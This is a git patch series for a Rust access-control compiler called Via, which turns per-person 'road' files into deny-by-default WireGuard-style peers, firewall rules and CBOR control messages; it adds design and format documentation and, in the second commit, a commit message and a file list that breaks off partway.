From f134ec652ca424677ae74b19fa2d6bb9abe4e0a5 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 07:23:50 +0100 Subject: [PATCH 01/25] [docs] Day 2 design: the road model, the compiler, the id formats found, risks and gaps; FORMATS.md field by field --- docs/02_via-core.md | 135 +++++++++++++++++++++++++++ docs/FORMATS.md | 218 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 353 insertions(+) create mode 100644 docs/02_via-core.md create mode 100644 docs/FORMATS.md diff --git a/docs/02_via-core.md b/docs/02_via-core.md new file mode 100644 index 0000000..0607b68 --- /dev/null +++ b/docs/02_via-core.md @@ -0,0 +1,135 @@ +# Day 2 — via-core: roads and the compiler + +Written before the tests and the code, on 2026-11-25. Where this page and the code later disagree, the code wins +and the handover says so. + +## Why + +Every access in Via is a **road**: a subject, a verb, an object and conditions — *Jana — can reach — Photos — +until Sunday*. One pure compiler turns the roads into exactly the peers, allowed IPs and firewall rules each +device needs. Nothing else grants access. + +Mark's judgment on risk is the reason this day exists: *a wrong rule compiler silently opens a subnet to the +wrong person.* So the compiler is small, pure and deterministic, it denies by default, and every grant path +has a test. + +## What + +| Piece | Crate | What it does | +|:--|:--|:--| +| Road files | `roads` | one file per road, Pensum's strict header subset, unknown keys are errors, ids are random | +| Snapshots | `roads` | `directory.json` (people and groups) and `devices.json` (devices, owners, addresses, routes, services) | +| Validator | `roads` | every problem as `:: : `, with a rule code | +| Compiler | `roads` | roads + directory + devices + `now` → one `Plan` per device | +| `explain` | `roads` | which roads let this device reach that place; nothing when access is denied | +| Control messages | `proto` | versioned CBOR envelope: plan request, plan, ack, refusal | +| `via` | `via-cli` | `via check`, `via compile --device `, `via explain ` | + +Out of scope (the roadmap says so): tunnels, UI, mobile, exits in practice. Also out of this day: signing plans +(Day 3, with Tessera), the classic WireGuard export (Day 5), multi-hop exits (Day 6). + +## How + +### The ids, read from the code that owns them + +| Id | Format | Source | +|:--|:--|:--| +| Road id | 6 characters of lowercase Crockford base32 `0123456789abcdefghjkmnpqrstvwxyz`, random; file `-.md` | Pensum: `F:\Akce\Fabrica\core\crates\pensum\src\id.rs:5-12`, `core\docs\FORMATS.md:85-97` | +| Problem line | `:: : ` | Pensum: `core\crates\pensum\src\problem.rs:3-34`, `core\docs\FORMATS.md:161-165` | +| Unknown keys | an error per key | Pensum: `core\crates\pensum\src\ticket.rs:11-12, 372-375` | +| Header subset | YAML subset, refused constructs named | Pensum: `core\docs\FORMATS.md:14-42` | +| Device key | the Tessera **device subkey**: an Ed25519 public key, 32 bytes, base64url without padding (43 characters) | `F:\Akce\Fundamentum\docs\TESSERA.md:29, 53-55` (`app_id` `"device"` is reserved for device subkeys) | +| App id | 1–32 of `[a-z0-9-]`, not starting or ending with `-` | Tessera: `F:\Akce\Fundamentum\crates\tessera\src\id.rs:5-20` | +| Service | an Ianitor host: its hostname, the file `hosts/.toml` | `F:\Akce\Ianitor\crates\core\src\routes.rs:5-16, 41-42`; hostname rules `crates\core\src\validate.rs:693-730` | +| Person id, group id | **does not exist yet** — an opaque newtype, 1–64 of `[A-Za-z0-9_-]` | Fundamentum has no people directory (`F:\Akce\Liber\Liber\docs\05_together.md:13`: "`fundamentum.person.pick` does not exist at `canalis-v1.1.0`"); Liber keeps an `Option` id (`Liber-public\crates\liber-library\src\library.rs:8-13`) | + +The person id grammar was chosen wide enough to hold a base64url Tessera root public key (43 characters), in +case the directory keys people by their root. When the directory exists, `PersonId::new` is the one place to +change. + +### The road model + +| Verb | Subject | Object | Conditions | Grants | +|:--|:--|:--|:--|:--| +| `can-reach` | person, group, device | device, subnet, service | `until`, `ports`, `via`, `classic` | peers both ways, allowed IPs, an inbound or forward firewall rule on the far side, DNS for a service | +| `exits-through` | person, group, device | exit | `until`, `classic` | a peer with `0.0.0.0/0, ::/0`, a forward rule to the internet on the exit | +| `goes-direct` | person, group, device, app | subnet | `until` | nothing: the subnet (or the app) bypasses the tunnel | +| `never-online-without` | person, group, device | exit | `until` | nothing: the kill switch | +| `custom` | device | — | `until`, `classic` | nothing the compiler checks: the raw block is carried, verbatim and labelled | + +- A person's grant covers **every device whose owner is that person** in `devices.json`; a group's covers every + member's devices. Removing a device from a person removes its access on the next compile. +- `classic` must be `true` on any road that would create a peer with a classic (not post-quantum) device. It is + the road saying out loud that this path is not post-quantum. Without it the road grants nothing. +- `until` is exclusive and compared with `now`, which is a parameter. Each plan carries `expires`, the earliest + `until` of the roads it was built from, so the engine knows when to compile again. + +### The compiler + +``` +roads/*.md ─┐ +directory.json ─┼─► load ─► validate ─► expand to grants ─► one Plan per device ─► JSON / CBOR +devices.json ─┘ │ │ +now ──────────────────────────┘ └─► explain(device, place) = the grants' roads +``` + +- **Deny by default.** A road with any error grants nothing. A road that is valid but expired, or whose subject + has no devices, grants nothing and is reported as *inactive* with its reason. If `directory.json` or + `devices.json` has an error, **no plan is produced at all**. +- **Allowed IPs** are cryptokey routing, not permission. The permission is the firewall rule on the far side: + a road from Jana's phone to the home server gives the phone a peer for the server's address, gives the server + a peer for the phone's address (so replies are accepted), and gives the server one inbound rule from the + phone's address on the road's ports. Every firewall table is default-deny. +- **Exits** route `0.0.0.0/0` and `::/0` to the exit; the exit gets a forward rule to `internet`, which means + everything except private, link-local, loopback, CGNAT and ULA ranges, so an exit user does not reach the + exit's LAN. A device with active exit roads to two different exits gets neither, and both are reported. +- **Kill switch fails closed.** Two kill-switch roads naming different exits on one device give a kill switch + through no exit at all (only the mesh), never none. +- **Deterministic.** Every collection is a `BTreeMap`/`BTreeSet` or a sorted `Vec`; road files are read in file + name order; the same input gives byte-identical JSON and CBOR. + +## Risks + +| Risk | Consequence | Mitigation | +|:--|:--|:--| +| The compiler grants more than the roads say | a subnet open to the wrong person | the least-privilege property test against an independent oracle; every grant path has a fixture | +| An invalid road is half applied | access nobody approved | validation is all-or-nothing per road; a failing road contributes to no plan (property test) | +| An expired road stays in force because nobody recompiles | access after "until Sunday" | `Plan.expires`; the engine (Day 3) must recompile by then — a Day 3 test | +| A custom raw block widens access | an `AllowedIPs` line the compiler never checked | raw blocks are never merged into peers; they sit in `Plan.custom`, labelled; Day 3 must not apply them without an expert's confirmation | +| Non-determinism (hash order, file order, locale) | two compiles disagree; signatures do not match | no `HashMap` on any output path; byte-identical test with shuffled input; golden files | +| The YAML subset parser accepts a construct it should refuse | a road file means something other than it reads | Pensum's subset, refused constructs each have a fixture | +| A kill switch road with an error turns the kill switch off | traffic leaks when the tunnel drops | conflicting kill switches fail closed; an *invalid* kill-switch road is an open question below | +| The people directory format changes | person ids no longer match | `PersonId` is one opaque newtype; changing it is one function | + +## Gaps (what this day does not do) + +- Plans are not signed: Day 3 signs them with Tessera; `proto` leaves room (a new message version). +- No people directory exists in Fundamentum; `directory.json` is our own snapshot format until it does. +- Multi-hop exits (`via` on `exits-through`) are refused, not compiled: Day 6. +- `via` on `can-reach` is a path hint (relay or exit) carried in the peer; the engine decides what it means. +- No `via export` of a classic WireGuard config: Day 5. +- No Custos approval field on roads: approvals are Day 4, and a new key is an *unknown key* to this build. +- The road ports have no ICMP types, only `icmp` as a whole. + +## Tests (written before the code) + +| # | Mandatory test | File | +|:--|:--|:--| +| 1 | Validation: every rule has a failing fixture naming the file and the field; a meta-test fails if a rule has none | `crates/roads/tests/validation.rs`, fixtures in `crates/roads/tests/fixtures/invalid/` | +| 2 | Revocation: deleting a road, expiring it, removing a device from a person (and a person from a group) removes the access | `crates/roads/tests/revocation.rs` | +| 3 | Least privilege: property test (proptest) — no plan contains an allowed IP or firewall rule that no active road grants; adding an invalid road changes no plan | `crates/roads/tests/least_privilege.rs` | +| 4 | Determinism: byte-identical JSON and CBOR twice and with shuffled input; golden plans | `crates/roads/tests/determinism.rs`, `crates/proto/tests/determinism.rs` | +| 5 | `explain` returns exactly the allowing roads, and nothing when denied | `crates/roads/tests/explain.rs` | +| 6 | Custom roads round-trip unchanged: file → render, and through the plan and CBOR | `crates/roads/tests/custom.rs`, `crates/proto/tests/roundtrip.rs` | + +Plus the protocol's refusals (wrong version, unknown field, trailing bytes, oversize) and the CLI on fixtures. + +## Open questions + +1. Should an *invalid* `never-online-without` road fail closed (kill switch on through no exit), since "grants + nothing" turns the protection off? This build reports it and does not apply it. +2. Does the people directory key people by a Tessera root key, a random id, or a name? `PersonId` waits. +3. Where does a service's hosting device come from: Ianitor's upstreams name hosts and ports, not Tessera keys. + This build takes it from `devices.json`. +4. Is `classic: true` the right acknowledgement, or should classic devices be refused unless a separate + expert switch is on? diff --git a/docs/FORMATS.md b/docs/FORMATS.md new file mode 100644 index 0000000..23eff6b --- /dev/null +++ b/docs/FORMATS.md @@ -0,0 +1,218 @@ +# via-core formats + +Field by field: the road store, the two snapshots, the compiled plan, and the control protocol. Every format is +versioned; a change that an older build would misread bumps the version. + +## The store + +``` +/ + directory.json the people directory snapshot + devices.json the device list + roads/-.md one file per road +``` + +`roads/` holds only regular files named `-.md`. Anything else in it — a folder, a symbolic link, a +file with another name — is an error (`file.kind`), so the folder can never hold something the compiler does +not read. Files are read in byte order of their names. At most 10,000 road files. + +## Road files + +### The file + +- **Encoding.** UTF-8, no BOM. Invalid UTF-8 or a BOM is an error (`file.encoding`). +- **Size.** At most **256 KiB**, refused before it is parsed (`file.size`). +- **Line endings.** LF or CRLF. +- **Structure.** The first line is `---`, the header follows, the next `---` line closes it, everything after it + is the body (`file.header` when there is no header or it is not closed). +- **Name.** `-.md`. The slug is `[a-z0-9]+(-[a-z0-9]+)*`, at most 40 characters (`file.name`). + +### The header subset + +The same strict subset of YAML as Pensum's tickets (Fabrica `core/docs/FORMATS.md`, "The header subset"): + +| Allowed | Example | +|:--|:--| +| a top-level `key: value`, the key `[A-Za-z][A-Za-z0-9]*` at column 0 | `verb: can-reach` | +| a plain scalar, always a **string** (`true` is text; `classic` reads it) | `subject: person:jana` | +| a double-quoted string with `\" \\ \n \t \r \uXXXX` | `subject: "person:jana"` | +| a single-quoted string, `''` for a quote | `subject: 'person:jana'` | +| a flow list of scalars | `ports: [tcp/443, udp/53]` | +| a block list of scalars, indented under its key | `ports:` then ` - tcp/443` | +| an empty value, meaning *absent* | `until:` | +| comment lines, blank lines, a trailing ` # comment` after a plain value or list | `# moved from the router` | + +Refused, each with an error naming the file, the line and the field (`yaml.refused`): anchors (`&a`), aliases +(`*a`), tags (`!x`), block scalars (`|`, `>`), flow mappings (`{}`), nested lists, indented keys, directives +(`%YAML`), the document end marker `...`, and tab indentation. A duplicate key is `key.duplicate`; a line that +is not `key: value`, or a bad quoted string, is `yaml.syntax`. + +### Header fields + +| Key | Required | Value | Rules | +|:--|:--|:--|:--| +| `id` | yes | 6 characters of `0123456789abcdefghjkmnpqrstvwxyz` (no `i l o u`), random | `id.format`; must equal the file name's prefix (`id.file-name`); unique in the store (`id.duplicate`, both files grant nothing) | +| `subject` | yes | a reference (below): `person:`, `group:`, `device:` or `app:` | `ref.format`, `subject.kind` (not allowed for the verb), `subject.unknown` (not in the snapshots) | +| `verb` | yes | `can-reach`, `exits-through`, `goes-direct`, `never-online-without`, `custom` | `verb.unknown` | +| `object` | yes, except `custom` (where it is not allowed) | a reference: `device:`, `subnet:`, `service:` or `exit:` | `ref.format`, `object.kind`, `object.unknown`, `object.not-exit`, `subnet.not-canonical`, `subnet.unrouted` | +| `until` | no | RFC 3339 with an offset: `2026-11-29T23:59:59+01:00` or `…Z`; exclusive | `until.format`; `until <= now` makes the road *inactive* (`road.expired`) | +| `ports` | no; only `can-reach` | a list of `tcp/443`, `udp/53`, `tcp/8000-8100`, `tcp`, `udp`, `icmp`; absent means all traffic | `ports.format`; for a service, every port must be one it serves (`ports.not-served`) | +| `via` | no; only `can-reach` | `device:` of a device with `relay` or `exit` | `via.format`, `via.unknown`, `via.not-relay` | +| `classic` | no; only `can-reach`, `exits-through`, `custom` | `true` or `false` (default) | `classic.format`; a road that would make a peer of a classic device needs `true` (`classic.unacknowledged`) | +| `created` | yes | RFC 3339 with an offset | `created.format` | + +Any other key is `key.unknown`. A key that the verb does not take is `key.forbidden`. A list where a single value +belongs, or a single value where a list belongs, is `key.type`. A required key that is missing or empty is +`key.missing`. + +### References + +| Form | Meaning | Id rules | +|:--|:--|:--| +| `person:` | a person in `directory.json` | opaque: 1–64 of `[A-Za-z0-9_-]` (no people directory exists in Fundamentum yet) | +| `group:` | a group in `directory.json` | as a person id | +| `device:` | a device in `devices.json` | the Tessera device subkey: 32-byte Ed25519 public key, base64url without padding, 43 characters, canonical | +| `app:` | a Domi app on every device | the Tessera id: 1–32 of `[a-z0-9-]`, not starting or ending with `-` | +| `subnet:` | an IPv4 or IPv6 network | canonical: host bits zero (`192.168.100.0/24`, not `192.168.100.7/24`) | +| `service:` | an Ianitor host, served by a device in `devices.json` | Ianitor's hostname rules: lowercase, labels of `[a-z0-9-]` not starting or ending with `-`, at most 63 per label and 253 in all, no wildcard, no trailing dot, not an IP address | +| `exit:` | a device with `exit: true` | a device key | + +### The body + +Everything after the closing `---`. + +- For `custom`, the body is exactly one **raw block**: a line ```` ```raw ````, the raw lines, and a last line + ```` ``` ````. The raw bytes between the two fence lines are kept byte for byte — unknown WireGuard keys, CR + characters, trailing spaces, even ```` ``` ```` lines inside — and are never interpreted (`body.raw-missing` + when it is absent). +- For every other verb the body is a free-text note, kept and never interpreted. A raw block there is an error + (`body.raw-outside-custom`), so nobody believes it applies. + +### Canonical form + +The form `via` writes, and which reads back byte for byte: `---`, then the keys in the order `id, subject, verb, +object, until, ports, via, classic, created`, absent keys left out, scalars plain when they read back unchanged +and double-quoted otherwise, `ports` as a flow list, LF line endings, `---`, then the body. A custom road's body +is ```` ```raw\n ```` + raw + ```` ```\n ````. + +``` +--- +id: k3f9q2 +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +until: 2026-11-29T23:59:59+01:00 +ports: [tcp/443] +created: 2026-11-25T10:00:00+01:00 +--- +Jana sees the photos until Sunday. +``` + +### Inactive roads + +Valid roads that grant nothing right now, reported with their reason (not errors for `via check`): + +| Code | When | +|:--|:--| +| `road.expired` | `until <= now` | +| `road.no-devices` | the subject has no devices | +| `road.self` | every subject device is the object's own device | +| `exit.conflict` | for one device: active `exits-through` roads to two different exits (that device gets neither; reported per road, naming the device) | + +## `directory.json` — the people directory snapshot + +```json +{ + "format": 1, + "people": [ { "id": "jana", "name": "Jana" } ], + "groups": [ { "id": "household", "name": "Household", "members": ["mark", "jana"] } ] +} +``` + +| Field | Rules | +|:--|:--| +| `format` | `1` (`snapshot.format`) | +| `people[].id` | a person id (`directory.id`), unique (`directory.duplicate`) | +| `people[].name` | 1–100 characters, one line (`directory.name`) | +| `groups[].id` | a group id, unique among groups | +| `groups[].name` | as a person's name | +| `groups[].members` | person ids that exist, no repeats (`directory.member`) | + +Unknown fields, bad JSON and a missing file are `snapshot.json`. + +## `devices.json` — the device list + +```json +{ + "format": 1, + "devices": [ + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", + "address": "100.96.0.2", "classic": false, "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ { "host": "photos.home.arpa", "ports": ["tcp/443"] } ] } + ] +} +``` + +| Field | Default | Rules | +|:--|:--|:--| +| `format` | — | `1` | +| `key` | — | a device key (`devices.key`), unique (`devices.duplicate`) | +| `name` | — | 1–64 characters of `[a-z0-9-]`, unique (`devices.name`) | +| `owner` | none | a person id in the directory (`devices.owner`); a device with no owner is reached only by `device:` roads | +| `address` | — | the device's mesh address, one IPv4 or IPv6 address, unique, not inside any device's routes (`devices.address`) | +| `classic` | `false` | a classic WireGuard peer, **not post-quantum** | +| `exit` | `false` | offers itself as an exit | +| `relay` | `false` | may be named by `via` | +| `routes` | `[]` | canonical subnets this device routes for the mesh; not `/0`; no overlap with another device's (`devices.route`, `devices.overlap`) | +| `services[].host` | — | an Ianitor hostname, unique across devices (`devices.service`) | +| `services[].ports` | — | a non-empty port list (`devices.ports`) | + +## The plan + +One per device, the compiler's output. JSON (pretty, two spaces, field order as below) for people and tests; +CBOR inside the control protocol. Every list is sorted, every `roads` list is the sorted ids that caused the +entry. + +| Field | Meaning | +|:--|:--| +| `format` | `1` | +| `device`, `name`, `address`, `classic` | this device | +| `expires` | the earliest `until` (UTC, `Z`) of the roads this plan was built from; compile again by then; `null` if none | +| `peers[]` | `key`, `name`, `address`, `classic` (*not post-quantum* when true), `allowed_ips` (sorted CIDRs), `via` (a path hint or `null`), `roads` | +| `firewall.default` | always `"deny"` | +| `firewall.rules[]` | `direction` (`in`: to this device's address; `forward`: to a subnet it routes, or to the internet as an exit), `src` (CIDR), `dst` (CIDR or `"internet"`), `proto` (`any`, `tcp`, `udp`, `icmp`), `ports` (`[lo, hi]` or `null`), `roads` | +| `dns[]` | `host`, `address`, `roads`: names this device may resolve to a mesh address | +| `exit` | `{through, roads}` or `null` | +| `kill_switch` | `{through, roads}` (`through` is `null` when two kill-switch roads disagree: only the mesh) or `null` | +| `direct[]` | `{subnet}` or `{app}` with `roads`: bypasses the tunnel (split tunnelling) | +| `custom[]` | `{road, classic, raw}`: the raw block verbatim, **never checked by the compiler** | + +`internet` is every address except `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, +`172.16.0.0/12`, `192.168.0.0/16`, `::1/128`, `fc00::/7` and `fe80::/10`. + +## The control protocol (`proto`) + +CBOR (RFC 8949), one message per frame, at most **1 MiB**. Framing and transport are Day 3. + +``` +Envelope = { "v": 1, "body": Body } +Body = { "plan-request": { "device": key, "have": digest | null } } + | { "plan": { "digest": digest, "plan": Plan } } + | { "plan-ack": { "device": key, "digest": digest } } + | { "refused": { "code": text, "message": text } } +``` + +| Field | Meaning | +|:--|:--| +| `v` | protocol version, `1`. Read **first**: any other version is `UnsupportedVersion(v)` before the body is looked at | +| `device` | a device key, as in road files | +| `digest` | SHA-256 of the plan's CBOR encoding, 64 lowercase hex characters; a `plan` whose digest does not match its plan is refused | +| `have` | the digest the device already holds, so the server can answer "unchanged" (Day 3) | +| `code` | `unknown-device`, `bad-request`, `unavailable` | +| `Plan` | the plan above, the same field names, CBOR maps in that field order | + +Decoding refuses: more than 1 MiB, trailing bytes after the message, an unknown field anywhere, a missing field, +a wrong version, and a malformed key or digest. Encoding is deterministic: the same value gives the same bytes. + +Signatures are **not** in version 1. Day 3 adds them with the device's Tessera key, as version 2. From 38a2fea043f5c92a6ac2b957b0ee0afc4029cf96 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 07:55:38 +0100 Subject: [PATCH 02/25] [roads] The road model, validator, compiler and explain; proto's versioned CBOR messages; the via command Road files in Pensum's strict header subset (unknown keys are errors, random ids), the directory and device snapshots, deny-by-default compilation to one plan per device, explain from the compiler's own grants, CBOR envelope v1 with version-first refusals. Tests: the six mandatory ones (validation fixtures for every rule, revocation, the least-privilege property against an independent oracle, determinism with golden plans, explain, custom round-trip), QA's attack cases, the protocol and the CLI. --- Cargo.lock | 709 ++++++++++++++ Cargo.toml | 30 + crates/proto/Cargo.toml | 21 + crates/proto/src/lib.rs | 208 +++++ crates/proto/tests/jana-phone.digest | 1 + crates/proto/tests/roundtrip.rs | 248 +++++ crates/roads/Cargo.toml | 23 + crates/roads/src/compile.rs | 758 +++++++++++++++ crates/roads/src/explain.rs | 78 ++ crates/roads/src/header.rs | 464 ++++++++++ crates/roads/src/id.rs | 116 +++ crates/roads/src/ids.rs | 170 ++++ crates/roads/src/lib.rs | 30 + crates/roads/src/net.rs | 228 +++++ crates/roads/src/plan.rs | 164 ++++ crates/roads/src/ports.rs | 216 +++++ crates/roads/src/problem.rs | 85 ++ crates/roads/src/road.rs | 862 ++++++++++++++++++ crates/roads/src/rules.rs | 125 +++ crates/roads/src/snapshot.rs | 514 +++++++++++ crates/roads/src/store.rs | 161 ++++ crates/roads/tests/attacks.rs | 266 ++++++ crates/roads/tests/common/mod.rs | 151 +++ crates/roads/tests/custom.rs | 132 +++ crates/roads/tests/determinism.rs | 111 +++ crates/roads/tests/explain.rs | 148 +++ crates/roads/tests/fixtures/home/devices.json | 17 + .../roads/tests/fixtures/home/directory.json | 12 + .../fixtures/home/expected/friend-node.json | 51 ++ .../fixtures/home/expected/home-server.json | 186 ++++ .../fixtures/home/expected/jana-laptop.json | 49 + .../fixtures/home/expected/jana-phone.json | 49 + .../tests/fixtures/home/expected/mark-pc.json | 47 + .../fixtures/home/expected/petr-phone.json | 46 + .../tests/fixtures/home/expected/router.json | 46 + .../roads/7tq0mz-jana-photos-until-sunday.md | 10 + .../home/roads/c0z5wn-petr-exits-friend.md | 7 + .../home/roads/e5yj1s-steam-goes-direct.md | 8 + .../home/roads/h2x8vd-mark-home-lan.md | 7 + .../roads/k3f9q2-household-home-server.md | 8 + .../home/roads/m6v0hp-petr-git-expired.md | 8 + .../home/roads/p4n6rb-mark-pc-exits-home.md | 7 + .../home/roads/r8m2tg-router-home-server.md | 10 + .../home/roads/w9c3ke-mark-pc-kill-switch.md | 7 + .../home/roads/x1d7qa-router-imported.md | 17 + .../roads/tests/fixtures/invalid/expect.txt | 67 ++ .../invalid/roads/a00001-no-header.md | 2 + .../fixtures/invalid/roads/a00002-unclosed.md | 4 + .../fixtures/invalid/roads/a00003-anchor.md | 7 + .../fixtures/invalid/roads/a00004-colon.md | 7 + .../fixtures/invalid/roads/a00005-untill.md | 8 + .../invalid/roads/a00006-until-capital.md | 8 + .../invalid/roads/a00007-duplicate-until.md | 9 + .../invalid/roads/a00008-no-created.md | 6 + .../invalid/roads/a00009-ports-on-exit.md | 8 + .../invalid/roads/a00010-ports-scalar.md | 8 + .../fixtures/invalid/roads/a00011-bad-id.md | 7 + .../invalid/roads/a00012-id-mismatch.md | 7 + .../invalid/roads/a00014-verb-case.md | 7 + .../fixtures/invalid/roads/a00015-everyone.md | 7 + .../invalid/roads/a00016-mapped-ipv6.md | 7 + .../invalid/roads/a00017-subject-kind.md | 7 + .../fixtures/invalid/roads/a00018-nobody.md | 7 + .../invalid/roads/a00019-object-kind.md | 7 + .../invalid/roads/a00020-no-service.md | 7 + .../fixtures/invalid/roads/a00021-not-exit.md | 7 + .../invalid/roads/a00022-host-bits.md | 7 + .../fixtures/invalid/roads/a00023-unrouted.md | 7 + .../invalid/roads/a00024-half-internet.md | 7 + .../invalid/roads/a00025-naive-until.md | 8 + .../fixtures/invalid/roads/a00026-created.md | 7 + .../invalid/roads/a00027-port-zero.md | 8 + .../invalid/roads/a00028-empty-ports.md | 8 + .../invalid/roads/a00029-not-served.md | 8 + .../fixtures/invalid/roads/a00030-via-word.md | 8 + .../invalid/roads/a00031-via-unknown.md | 8 + .../invalid/roads/a00032-via-not-relay.md | 8 + .../invalid/roads/a00033-classic-yes.md | 8 + .../invalid/roads/a00034-classic-unsaid.md | 7 + .../invalid/roads/a00035-custom-no-raw.md | 6 + .../invalid/roads/a00036-raw-in-note.md | 10 + .../fixtures/invalid/roads/a00037-postup.md | 11 + .../fixtures/invalid/roads/a00038-expired.md | 8 + .../invalid/roads/a00039-eva-no-devices.md | 7 + .../fixtures/invalid/roads/a00040-self.md | 7 + .../invalid/roads/a00041-second-exit.md | 7 + .../invalid/roads/a00042-direct-public.md | 7 + .../invalid/roads/a00043-custom-object.md | 10 + .../fixtures/invalid/roads/a00044-tab.md | 7 + .../tests/fixtures/invalid/roads/bad_name.md | 7 + .../snapshots/address-in-route.devices.json | 17 + .../snapshots/address-loopback.devices.json | 17 + .../snapshots/address-twice.devices.json | 17 + .../invalid/snapshots/bad-key.devices.json | 17 + .../snapshots/bad-person-id.directory.json | 12 + .../snapshots/duplicate-key.devices.json | 17 + .../snapshots/duplicate-person.directory.json | 12 + .../snapshots/format-two.directory.json | 12 + .../snapshots/member-group.directory.json | 12 + .../snapshots/member-unknown.directory.json | 12 + .../snapshots/name-bidi.directory.json | 12 + .../snapshots/name-newline.devices.json | 17 + .../snapshots/name-newline.directory.json | 12 + .../snapshots/owner-unknown.devices.json | 17 + .../snapshots/route-host-bits.devices.json | 17 + .../snapshots/route-internet.devices.json | 17 + .../snapshots/route-link-local.devices.json | 17 + .../snapshots/route-overlap.devices.json | 17 + .../snapshots/service-host.devices.json | 17 + .../snapshots/service-no-ports.devices.json | 17 + .../snapshots/unknown-field.devices.json | 17 + .../snapshots/unknown-field.directory.json | 12 + crates/roads/tests/least_privilege.rs | 751 +++++++++++++++ crates/roads/tests/revocation.rs | 200 ++++ crates/roads/tests/validation.rs | 366 ++++++++ crates/via-cli/Cargo.toml | 25 + crates/via-cli/src/main.rs | 248 +++++ crates/via-cli/tests/cli.rs | 165 ++++ deny.toml | 33 + 119 files changed, 9123 insertions(+) create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 crates/proto/Cargo.toml create mode 100644 crates/proto/src/lib.rs create mode 100644 crates/proto/tests/jana-phone.digest create mode 100644 crates/proto/tests/roundtrip.rs create mode 100644 crates/roads/Cargo.toml create mode 100644 crates/roads/src/compile.rs create mode 100644 crates/roads/src/explain.rs create mode 100644 crates/roads/src/header.rs create mode 100644 crates/roads/src/id.rs create mode 100644 crates/roads/src/ids.rs create mode 100644 crates/roads/src/lib.rs create mode 100644 crates/roads/src/net.rs create mode 100644 crates/roads/src/plan.rs create mode 100644 crates/roads/src/ports.rs create mode 100644 crates/roads/src/problem.rs create mode 100644 crates/roads/src/road.rs create mode 100644 crates/roads/src/rules.rs create mode 100644 crates/roads/src/snapshot.rs create mode 100644 crates/roads/src/store.rs create mode 100644 crates/roads/tests/attacks.rs create mode 100644 crates/roads/tests/common/mod.rs create mode 100644 crates/roads/tests/custom.rs create mode 100644 crates/roads/tests/determinism.rs create mode 100644 crates/roads/tests/explain.rs create mode 100644 crates/roads/tests/fixtures/home/devices.json create mode 100644 crates/roads/tests/fixtures/home/directory.json create mode 100644 crates/roads/tests/fixtures/home/expected/friend-node.json create mode 100644 crates/roads/tests/fixtures/home/expected/home-server.json create mode 100644 crates/roads/tests/fixtures/home/expected/jana-laptop.json create mode 100644 crates/roads/tests/fixtures/home/expected/jana-phone.json create mode 100644 crates/roads/tests/fixtures/home/expected/mark-pc.json create mode 100644 crates/roads/tests/fixtures/home/expected/petr-phone.json create mode 100644 crates/roads/tests/fixtures/home/expected/router.json create mode 100644 crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md create mode 100644 crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md create mode 100644 crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md create mode 100644 crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md create mode 100644 crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md create mode 100644 crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md create mode 100644 crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md create mode 100644 crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md create mode 100644 crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md create mode 100644 crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md create mode 100644 crates/roads/tests/fixtures/invalid/expect.txt create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00004-colon.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00005-untill.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00006-until-capital.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00007-duplicate-until.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00008-no-created.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00009-ports-on-exit.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00010-ports-scalar.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00011-bad-id.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00012-id-mismatch.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00014-verb-case.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00015-everyone.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00016-mapped-ipv6.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00017-subject-kind.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00018-nobody.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00019-object-kind.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00020-no-service.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00021-not-exit.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00022-host-bits.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00023-unrouted.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00024-half-internet.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00025-naive-until.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00026-created.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00027-port-zero.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00028-empty-ports.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00029-not-served.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00030-via-word.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00031-via-unknown.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00032-via-not-relay.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00033-classic-yes.md create mode 100644 